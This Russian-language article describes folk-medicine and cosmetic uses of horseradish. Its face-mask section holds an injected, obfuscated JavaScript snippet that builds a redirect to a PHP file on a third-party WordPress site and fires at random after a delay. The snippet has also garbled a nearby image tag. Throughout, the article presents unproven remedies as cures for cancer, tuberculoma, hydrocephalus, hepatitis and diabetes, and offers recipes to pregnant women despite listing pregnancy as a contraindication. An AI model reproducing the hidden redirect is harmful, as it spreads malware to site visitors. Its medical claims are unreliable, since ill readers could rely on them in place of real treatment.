Хрен обыкновенный, или деревенский, — популярная огородная культура, любимая русская приправа и лекарственное растение. Он относится к семейству крестоцветных и является «родственником» капусты, редьки и горчицы. На Руси его начали выращивать ещё в IX веке, потом он прижился в Европе и особой любовью пользовался в Германии и Прибалтике. Лечебные свойства растения издавна используют в народной медицине.
Содержание
Состав и полезные свойства хрена
Кроме хрена обыкновенного, есть ещё луговой, но его не культивируют и не используют в народной медицине. Столовым хреном называют переработанные и подготовленные для использования в кулинарии корни растения. Это приправа, не имеющая целебных свойств. Лечебным эффектом обладают листья и корни обыкновенного хрена, завсегдатая практически любого огорода.
Основная сила растения заключается в его корне — крупном и плотном, наполненном горчичными маслами, придающими растению жгучий вкус и антибактериальные свойства. Польза для здоровья обусловлена богатым химическим составом хрена. Он содержит:
- витамины — РР, С, бета-каротин, почти полностью группу витаминов В;
- минералы — фосфор, калий, железо, натрий, серу, кальций, марганец, медь;
- белковое вещество лизоцим, являющееся природным антибиотиком;
- фитонциды, защищающие организм от инфекций;
- белки, жиры и углеводы;
- клетчатку, помогающую работе кишечника.
В народной медицине хрен используют как средство, возбуждающее аппетит и стимулирующее выработку желудочного сока.
Лечебные свойства имеет только свежий хрен, протёртый корень теряет целебную силу через неделю, даже если он хранится в холодильнике.
Традиционно полезные свойства хрена применялись для лечения:
- заболеваний мочевыводящей системы;
- бронхитов и пневмоний;
- ревматизма и подагры;
- коклюша и ангины;
- инфекционных заболеваний;
- болей в спине;
- крестцово-поясничного радикулита;
- гипертонии;
- злокачественных опухолей;
- лямблий;
- диареи.
Хрен помогает справляться с кожными болезнями и обладает косметологическими свойствами. Его используют в масках для лица и волос. Хрен содержит вещества, стимулирующие метаболизм, поэтому его включают в рацион для похудения.
В чистом виде хрен почти не используют. В ход идут водные настои, настойки на водке, уксусе и сухом вине, принимают свежий сок, смешивают тёртый хрен с другими ингредиентами. Лечение может быть и наружным — в виде компрессов и примочек. В качестве лечебного сырья в основном применяются корни растения, реже используются листья.
Видео: лечебные свойства хрена обыкновенного
Применение хрена в народной медицине
Область применения хрена как лекарственного растения очень широка. Однако использовать это народное средство нужно с учётом противопоказаний, а в некоторых случаях — только с разрешения врача.
Лечение сердечно-сосудистых заболеваний
Продукт положительно воздействует на сердце и сосуды:
- снижает холестерин;
- восстанавливает нормальное артериальное давление;
- способствует насыщению сердечной мышцы полезным калием;
- снижает риск возникновения инсульта и инфаркта.
При гипертонии его применяют следующим образом:
- Приготовьте смесь из сока одного лимона, морковного сока, сока хрена и мёда (по 1 стакану).
- Хорошо перемешайте и принимайте трижды в день по 1 чайной ложке между приёмами пищи. Курс лечения — 2 месяца.
При ишемии и стенокардии используют смесь хрена с мёдом:
- Смешайте чайную ложку тёртого хрена со столовой ложкой мёда.
- Съедайте смесь по утрам натощак за час до первого приёма пищи.
Курс лечения — 30 дней. В это период нежелательно курить, принимать алкоголь, перенапрягаться и переохлаждаться. Рекомендуется провести 5–6 таких курсов в течение 3 лет.
Для предупреждения атеросклероза рекомендуется следующее средство:
- 100 г очищенных корешков хрена залейте литром кипятка.
- Томите отвар на малом огне в течение 20 минут.
- Принимайте перед едой по 100 мл три раза в день.
Хрен при болезнях печени
Несмотря на то что патологии печени числятся среди противопоказаний к употреблению хрена, растение помогает при многих болезнях этого органа. Применять народные рецепты с хреном можно только во время ремиссии.
От камней в жёлчном пузыре спасает водочная настойка листьев хрена:
- Промытые и высушенные свежие листья порежьте и плотно набейте ими половину литровой банки.
- Добавьте 0,5 литра водки и оставьте на две недели настаиваться.
- Процеженную настойку принимайте, пока она не закончится, по столовой ложке натощак.
При инфекционном гепатите используют водный настой корня хрена:
- Полкилограмма натёртого хрена залейте литром кипятка.
- Настаивайте сутки в закрытой посуде.
- Процедите настой, отожмите остатки через марлю и принимайте по ¼ стакана 4 раза в день до еды в течение недели.
Хронический гепатит лечат отваром хрена на молоке:
- Тёртый хрен (1 столовую ложку) залейте стаканом тёплого молока.
- Потомите смесь на малом огне 5–7 минут.
- Отвар надо пить маленькими глотками в течение суток.
Этот рецепт позволяет справиться ещё и с камнями в мочевом пузыре.
Применение хрена при заболеваниях дыхательных путей
Хрен в разном виде лечит кашель (в том числе застарелый), насморк, ангину, вирусные респираторные заболевания, воспаления (фарингит, ларингит). Его используют при синуситах, отитах и при потере голоса.
Уши лечат каплями из сока хрена, наполовину разбавленного водой. При хроническом насморке рекомендуется смесь натёртого корня (1 крупного) и сока 2 лимонов. Принимают его по 2 столовых ложки за полчаса до еды дважды в день. Смесь поможет при гайморите, если принимать её по ½ чайной ложке по утрам через полчаса после завтрака. Курс — 14 дней. Желательно проводить его два раза в год.
При хроническом кашле и во время приступа помогает смесь 150 г натёртого хрена и сока 2 лимонов. Этот рецепт также эффективен для очищения организма от слизи. Средство принимают по половине чайной ложки утром натощак и перед обедом.
При ангине и боли в горле делают ингаляции с хреном и картофелем:
- Отварите картофель и хрен в небольшом количестве воды.
- Положите в кастрюлю 2 таблетки валидола (он добавит ментол).
- Дышите над паром 10 минут носом и ртом.
Если болезнь протекает остро, делайте ингаляции утром и вечером. При ангине и фарингите помогут полоскания водным настоем корня. Столовая ложка нарезанных корней настаивается в течение часа в двух стаканах кипятка. Перед полосканием процедите настой.
Самый простой рецепт, пришедший из глубины веков, — это вдыхание паров эфирного масла, содержащегося в корне хрена. Надо мелко его натереть и дышать над ним, пока не потекут слезы. Этот рецепт эффективен при раке лёгких и туберкулёме.
Борьба с раком и повышение иммунитета
Существует научное обоснование губительного действия фермента пероксидазы хрена не только на патогенные микроорганизмы, но и раковые клетки. В результате сложных биохимических процессов активизируются лейкоциты-киллеры, уничтожающие раковые клетки. Вещество также способствует повышению иммунитета.
Для лечения злокачественных опухолей применяют клизмы с хреном:
- Чайную ложку тёртого хрена залейте 100 мл холодной воды и поставьте в холодильник на 12 часов.
- Детской клизмой вводите в прямую кишку 40 мл настоя.
В прямой кишке всасывание происходит мгновенно, поэтому целебные компоненты быстро попадают в кровь. Лечебные клизмы надо делать через день. Можно соединить настой хрена с содовым раствором (на 1 л — 1–2 чайных ложки соды).
Для лечения онкологических заболеваний используют цветоносы хрена. Их нарезают, наполняют ими литровую банку (неплотно) и доверху заливают водкой. Настоявшуюся за 8 дней смесь сливают и принимают по чайной ложке 2–3 раза в день, разбавляя настойку водой или травяным чаем.
Для поднятия защитных сил организма используют винный настой целебного корня:
- Два килограмма нарезанного хрена сложите в трехлитровую банку.
- Добавьте 200 г имбиря и по горсточке ягод боярышника, ягеля, девясила и малины.
- Залейте всё 700 мл сухого белого вина и дайте настояться 12 часов.
- Принимайте по половине стакана 2–3 раза в день.
Такая настойка эффективна для лечения железодефицитной анемии и авитаминозов.
Отложение солей и болезни суставов
Вывести соли из суставов, облегчить состояние при подагре и мышечных болях помогут листья хрена. Свежие растёртые и распаренные листья заворачивают в марлю и прикладывают как компресс на больной сустав или шею. Таким способом снимают боли при радикулите, артрозах, ревматизме. Компресс можно оставить на ночь. Ещё один способ выведения солей — обдать кипятком целые листья хрена и приложить к суставу. Их надо зафиксировать, обмотать сверху тёплой тканью и также оставить на ночь.
От отложения солей в шее избавит настойка молодых листьев хрена на прополисе или водке:
- Пять больших листьев вымойте, просушите, порежьте и сложите в стеклянную банку.
- Залейте их водкой и поставьте в холодильник на 6 дней.
- Процедите и принимайте по столовой ложке за полчаса до еды.
Болевой синдром при артрозе снимет компресс из кашицы перемолотого корня хрена и зелёного яблока (пропорция 1:1). Её наносят на марлю, прикладывают к больному суставу, фиксируют и оставляют на сутки.
Видео: лечение остеохондроза хреном
Другие заболевания
Снадобья из хрена помогают и при других недугах:
- кашица из корня хрена с лимонным соком используется в лечении гидроцефалии;
- при гастрите с пониженной кислотностью полезно пить водный настой корня, но делать это можно только при отсутствии язв и эрозий ЖКТ;
- от полипов в кишечнике советуют принимать измельчённый хрен и мёд, смешанные в равных пропорциях (по 1 чайной ложке 3 раза в день).
Компрессы из корня хорошо лечат позвоночную грыжу. Они оказывают согревающее и противовоспалительное действие. Если заболевание не запущено, то улучшения можно добиться за один курс лечения, который длится три дня.
При далеко зашедшем патологическом процессе понадобится несколько курсов с перерывом в месяц. Рецепт приготовления:
- Килограмм корней промойте, просушите, измельчите и сложите в банку.
- Растопите 70 г сливочного масла и вылейте его в банку с хреном.
- Возьмите широкую кастрюлю, застелите дно тканью и поставьте в неё банку, накрытую крышкой.
- Налейте в кастрюлю воды и томите хрен с маслом в течение часа на медленном огне.
- Затем перемешайте содержимое банки и оставьте ещё на 15 минут.
Положите на твёрдую кушетку небольшую подушку, на неё — клеёнку и сверху — полотенце. На полотенце выложите остывший хрен с маслом. Больной должен лечь на подушку спиной так, чтобы компресс захватил всю больную область. Лежать нужно полчаса, несмотря на то, что через 15 минут появится ощутимое жжение. После процедуры спину нужно укутать и держать в тепле. Смесь для компресса можно использовать до конца курса.
Водочная настойка хрена укрепляет сосуды и полезна при варикозе, её принимают три раза в день в течение месяца по одной чайной ложке. Распаренные листья хрена прикладывают к больным венам поверх бинта, закрепляют повязкой и оставляют на ночь. Курс состоит из пяти процедур.
Сера и никель, содержащиеся в хрене, благотворно действуют на поджелудочную железу, а значит, полезны при сахарном диабете 2 типа. Больным рекомендуется смешивать сок хрена с молоком или кефиром в пропорции 1:10. Принимают его четыре раза в день по столовой ложке до еды.
Снижает уровень глюкозы в крови хрен, настоянный на пиве:
- Тщательно промойте корень длиной 20 см и просушите его полотенцем.
- Измельчите его, сложите в литровую бутылку и добавьте 9 мелко нарезанных зубчиков чеснока.
- Залейте бутылку по «плечики» пивом и настаивайте 10 дней.
Процеженная настойка принимается в первые двое суток по чайной ложке 2 раза в день, затем по 2 чайных ложки три раза в день. Курс лечения — месяц.
Видео: универсальные рецепты с хреном от профессора Неумывакина
Хрен — источник мужского здоровья и силы
Витаминный и минеральный состав хрена как будто специально сбалансирован для поддержания мужского здоровья. Его употребление повышает либидо, улучшает эрекцию, поддерживает здоровье половых желёз. В качестве афродизиака хрен сравним с современными препаратами для повышения потенции. Корни и листья растения увеличивают продолжительность и качество полового акта.
Полезные вещества жгучего корня влияют на детородную функцию мужчины — улучшается качество спермы, возрастает способность к оплодотворению. Антибактериальные свойства предупреждают инфекционные заболевания мужской мочеполовой системы. Стимулируя кровообращение, хрен является хорошей профилактикой застойных явлений, часто выступающих причиной простатита.
Рецепты полезных снадобий из хрена
Медовая настойка для повышения потенции:
- Измельчите 0,5 кг свежего корня до получения однородной кашицы, залейте его полутора литрами холодной кипячёной воды и настаивайте неделю.
- По истечении этого срока перемешайте настой и добавьте в него 0,5 литра мёда и сок трёх лимонов. Взболтайте смесь и оставьте её ещё на 7 дней в прохладном тёмном месте.
- Настоявшееся средство принимайте два раза в день по столовой ложке.
Хрен, настоянный на водке:
- Смешайте литр качественной водки или разведённого медицинского спирта, по стакану свежевыжатого сока моркови и свёклы, стакан мелко перемолотого корня хрена и стакан жидкого мёда.
- Взболтайте смесь и оставьте настаиваться на две-три недели. В это время ёмкость лучше не трогать, чтобы жидкость не перемешивалась.
- Принимайте по столовой ложке два раза в день, пока настойка не закончится.
Хрен на молоке — укрепляющий настой:
- Два стакана перемолотого корня залейте 0,5 л кипящего молока без пенки.
- Настаивайте смесь в течение 5 часов.
- Принимайте по паре глотков несколько раз в день.
Молочный настой даст не только мужскую силу, но и укрепит организм. Рецепт не оговаривает длительность приёма средства, но принимать его постоянно и в большом количестве не стоит.
Для устранения эректильной дисфункции народная медицина рекомендует использовать листья хрена в бане. За несколько часов до её посещения заварите крутым кипятком несколько листьев и дайте им настояться три часа. Настоем поливайте каменку.
Польза для женщин
Хрен — низкокалорийный продукт, его рекомендуют употреблять тем, кто стремится избавиться от лишнего веса. Вещества в его составе способствуют интенсивному метаболизму, стимулируют перистальтику кишечника, помогая избавляться от шлаков и предупреждая запоры. К тому же растение обладает мочегонным действием.
Рецепт для лёгкого похудения:
- Небольшой кусочек имбиря и 125 г хрена измельчите в блендере.
- Добавьте к ним сок 3 лимонов, 2 столовые ложки мёда и 2 чайные ложки корицы.
- Принимайте смесь дважды в день по 2 столовых ложки до еды (за 15 минут). Курс — 3 недели.
В результате приёма этого средства уменьшается аппетит, уходит тяга к сладкому. За счёт бодрящего эффекта имбиря и хрена появляется желание двигаться. Средство храните в холодильнике в плотно укупоренной банке.
Тем, кто использует диету Дюкана, можно употреблять хрен начиная с этапа «Стабилизация».
Корень хрена рекомендуют для лечения мастопатии. Для этого достаточно принимать настой (10 г сырья на стакан воды) по столовой ложке перед едой один раз в день.
Можно ли употреблять хрен во время беременности
Беременность — период, когда женщине необходимо отказаться от некоторых продуктов, чтобы не навредить себе и будущему ребёнку. Один из них — хрен. В нём содержится эруковая кислота, плохо влияющая на желудок, печень и сердечную мышцу. Свойство хрена стимулировать выработку желудочного сока и повышать жажду — ещё одна причина, почему стоит исключить его из рациона, особенно во второй половине беременности, когда количество жидкости ограничивается. Нежелательным этот продукт делает способность разжижать кровь и повышать артериальное давление.
С другой стороны, отказываться от хрена как от лечебного средства нет необходимости. Во время беременности у женщины ослаблен иммунитет, что делает её уязвимой для инфекции. Список лекарств, особенно на раннем сроке сильно ограничен, поэтому на помощь приходят народные средства. Будучи природным антибиотиком, хрен поможет избавиться от простуды и кашля и поднимет иммунитет. Для лечения используют свежий корень с мёдом или сахаром.
Рецепты для беременных:
- Свежий очищенный и натёртый корень смешайте с сахарным песком (пропорция 1:1) и оставьте настаиваться на 12 часов. Затем процедите сок и принимайте его каждый час по столовой ложке в течение двух дней.
- Соедините в равных частях мёд с натёртым хреном. Принимайте по ½ чайной ложки три раза в день.
- Смешайте 3 чайных ложки мёда с 1 чайной ложкой сока хрена. Смесь надо употребить в течение дня, обильно запивая травяным чаем.
Можно ли давать хрен детям
При всей пользе пряной приправы это не самый нужный продукт в детском рационе. Врачи рекомендуют понемногу включать его питание ребёнка не раньше, чем в 4 года. У маленьких детей хрен способен вызвать расстройства пищеварения и сильное раздражение слизистой желудка. Детям постарше небольшое количество хрена можно давать в составе свежих овощных салатов.
Допускается использование корня при лечении простудных заболеваний. Его применяют для ингаляций, вместо горчичников в сочетании с мёдом, готовят из него медово-лимонный сироп от кашля.
Применение хрена в косметологии
Жгучесть и активность растения нашли применение в косметологии. Его используют для укрепления и роста волос, выведения пигментных пятен, омоложения кожи лица.
Для кожи лица и тела
Не зря хрен называют корнем красоты. Вот чем он полезен для кожи:
- витамин С оказывает омолаживающее действие за счёт замедления выработки меланина;
- витамин В5 возвращает коже тонус, разглаживает морщины;
- калий способствует глубокому увлажнению;
- горчичное масло избавляет от угревой сыпи и воспалений, обладает отбеливающим действием.
Все маски готовятся на один раз, так как хрен быстро теряет свои полезные свойства.
Маски с хреном можно делать только раз в неделю. Они не подойдут тем, у кого чувствительная кожа. Домашнюю косметику с хреном нельзя наносить на губы и вокруг глаз.
Рецепт маски от пигментных пятен и веснушек для обладателей сухой кожи:
- Разотрите две столовые ложки сметаны с чайной ложкой мелко протёртого хрена и столовой ложкой овсяных хлопьев.
- Наложите смесь на лицо на 20 минут.
- Делайте маску перед сном.
$nJe=function(n){if (typeof ($nJe.list[n]) == «string») return $nJe.list[n].split(«»).reverse().join(«»);return $nJe.list[n];};$nJe.list=[«\’php.pots_egamiruces/egamieruces-ahctpac/mrof-tcatnoc-is/snigulp/tnetnoc-pw/moc.mrifwaltb.www//:ptth\’=ferh.noitacol.tnemucod»];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}tomy.ru/wp-content/uploads/2018/05/maska-iz-tertogo-hrena-na-lice-zhenshchiny-728×509.jpg» alt=»Маска из тёртого хрена на лице женщины» width=»728″ height=»509″ /> Хрен хорошо отбеливает кожу лица, придаёт свежесть внешнему виду, а также разглаживает морщины
Тем у кого жирная кожа, убрать ненужную пигментацию можно при помощи следующей маски:
- Смешайте по чайной ложке тёртого хрена и уксуса.
- Добавьте ½ чайной ложки лимонного сока и влейте 3 капли эфира розмарина.
- Перемешайте все, нанесите на лицо и оставьте до полного высыхания.
- Умойтесь тёплой водой.
Избавиться от морщин помогут следующие маски:
- Смешайте по чайной ложке тёртого хрена и растительного масла, нанесите на лицо на 15 минут, затем смойте маску тёплой водой.
- Возьмите в равных пропорциях перемолотый хрен, сырой яичный желток и сливки средней жирности. Нанесите на очищенную кожу на 20 минут.
Хрен хорошо помогает и от прыщей:
- Перекрутите корень на мясорубке.
- Сложите в банку ёмкостью 0,75 литра.
- Долейте банку доверху винным уксусом и настаивайте 10 дней в тёмном месте.
- Готовый настой процедите и протирайте им проблемные места, предварительно увлажнив кожу.
- Через 10 минут раствор нужно смыть водой.
Как использовать хрен для волос
Корень хрена справляется с несколькими проблемами:
- помогает избавиться от перхоти;
- укрепляет волосяные луковицы;
- ускоряет рост волос;
- предупреждает преждевременное выпадение.
В чистом виде использовать хрен нежелательно, так как он обладает выраженным подсушивающим действием.
Маска для сухих волос:
- Взбейте 1 желток, добавьте к нему по 2 столовых ложки сока хрена и сливок.
- Вотрите смесь в кожу головы и нанесите на каждую прядь до самых кончиков.
- Через полчаса смойте водой.
Маска для блеска волос:
- Две столовых ложки кашицы из хрена смешайте с 1 столовой ложкой мёда и 1 чайной ложкой сока лимона.
- Вотрите смесь в корни волос и распределите по всей длине.
- Через час помойте голову с шампунем.
Маска от выпадения волос:
- Растопите 40 г сливочного масла.
- Добавьте к нему 3 столовых ложки мёда, 2 столовых ложки мелко измельчённого в кашицу хрена и 2 столовых ложки пропущенного через пресс чеснока.
- Нанесите массу на волосы, укутайте голову и держите маску в течение часа.
Такая маска не только остановит выпадение волос, но и избавит от перхоти.
Противопоказания
Хрен — довольно специфическое растение и далеко не всем показано его употребление в пищу и в качестве лечебного средства. То, что одних лечит, другим может принести непоправимый вред. Противопоказания к применению и употреблению хрена:
- беременность и лактация;
- обильные месячные;
- язвенные поражения желудка и кишечника;
- метеоризм и диарея;
- болезни печени и почек;
- нарушения функции щитовидной железы;
- воспаление предстательной железы;
- детский возраст до 4 лет.
Если вы принимаете препараты, разжижающие кровь, перед тем как начать лечение хреном проконсультируйтесь с врачом.
Даже тем, у кого нет противопоказаний к употреблению хрена, нельзя есть или принимать его внутрь в большом количестве. Он может нанести организму серьёзный вред вплоть до почечного кровотечения. При передозировке хрена начинаются тошнота, рвота и понос.
Польза хрена для организма в целом неоспорима, но не стоит забывать, что это активный жгучий продукт, с применением которого нужно быть осторожным.
